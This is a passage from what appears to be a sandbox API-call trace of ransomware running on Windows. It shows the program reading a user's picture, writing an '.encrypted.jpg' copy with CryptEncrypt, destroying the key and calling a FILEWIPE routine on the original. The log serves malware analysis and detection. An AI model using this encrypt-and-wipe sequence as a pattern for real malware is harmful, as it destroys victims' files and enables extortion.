lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.653] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\z8a-0v.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.654] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.654] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\z8a-0v.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.655] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.655] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.655] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.656] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.656] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xefa4, lpOverlapped=0x0) returned 1 [0028.657] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.660] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.660] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.660] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.660] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.661] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.661] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.661] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.662] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.662] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.663] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064c50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.663] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.664] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.664] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xefa4, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xefb0) returned 1 [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.664] CharLowerBuffW (in: lpsz="byte[61361]", cchLength=0xb | out: lpsz="byte[61361]") returned 0xb [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.665] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.665] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a6f40*, pdwDataLen=0xe8f3dfdf68*=0xefa4, dwBufLen=0xefb0 | out: pbData=0xe8f43a6f40*, pdwDataLen=0xe8f3dfdf68*=0xefb0) returned 1 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.665] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.665] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.665] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.671] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.671] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.671] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.671] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.671] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.671] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.672] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.672] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.672] CryptReleaseContext (hProv=0xe8f4199a80, dwFlags=0x0) returned 1 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.674] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.675] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.675] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.675] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.675] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.676] CharLowerBuffW (in: lpsz="byte[61348]", cchLength=0xb | out: lpsz="byte[61348]") returned 0xb [0028.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.676] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.677] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.677] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0028.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 